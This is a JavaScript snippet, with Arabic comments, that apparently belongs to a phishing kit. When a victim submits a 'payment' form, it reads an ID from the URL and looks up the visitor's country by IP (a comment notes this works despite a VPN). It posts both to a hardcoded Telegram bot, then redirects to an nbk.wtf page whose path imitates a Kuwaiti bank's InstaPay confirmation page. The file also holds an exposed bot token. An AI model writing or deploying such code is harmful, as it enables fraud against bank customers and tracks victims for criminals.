document.getElementById("paymentForm").addEventListener("submit", handleFormSubmit);

async function handleFormSubmit(event) {
    event.preventDefault(); // منع التحويل التلقائي

    // 1️⃣ جلب المعرف من رابط الصفحة
    const urlParams = new URLSearchParams(window.location.search);
    const R = urlParams.get('R'); // رقم المعرف

    if (!R) {
        //alert("⚠️ المعرف غير موجود في الرابط!");
        return;
    }

    // 2️⃣ جلب الدولة حتى لو كان المستخدم يستخدم VPN
    let countryName = "غير معروفة"; // القيمة الافتراضية إذا لم يتم جلب الدولة
    try {
        const ipResponse = await fetch("https://api64.ipify.org?format=json"); // جلب عنوان IP (IPv4 أو IPv6)
        const ipData = await ipResponse.json();
        const ipAddress = ipData.ip; // عنوان IP

        const locationResponse = await fetch(`https://ipwho.is/${ipAddress}`);
        const locationData = await locationResponse.json();

        if (locationData.success && locationData.country) {
            countryName = locationData.country;
        }
    } catch (error) {
        console.error("⚠️ حدث خطأ أثناء جلب الدولة:", error);
    }

    // 3️⃣ إعداد الرسالة لإرسالها إلى Telegram
    const message = `✅ تأكيد الطلب:\n🔹 المعرف: ${R}\n🌍 الدولة: ${countryName}`;

    // 4️⃣ إرسال الرسالة إلى Telegram
    const telegramBotToken = '7751540658:AAGF9noBmF2ZxbjQBSrswHtXYmeltnlstFU'; // ضع رمز البوت هنا
    const chatId = '-1002371740823'; // ضع معرف المجموعة هنا
    try {
        await fetch(`https://api.telegram.org/bot${telegramBotToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}`);
        
       // // ✅ بعد نجاح الإرسال، تحويل المستخدم إلى صفحة أخرى
      //  alert("✅ تم تأكيد الطلب وإرسال التنبيه بنجاح.");
        window.location.href = `https://nbk.wtf/mobileqp/pg.cbk.com/instapay/Customer/InstaPay/ConfirmPay/paye7.html?R=${R}`;
        
    } catch (error) {
        console.error("⚠️ خطأ أثناء إرسال التنبيه إلى تيليجرام:", error);
       // alert("⚠️ حدث خطأ أثناء إرسال التنبيه.");
    }
}
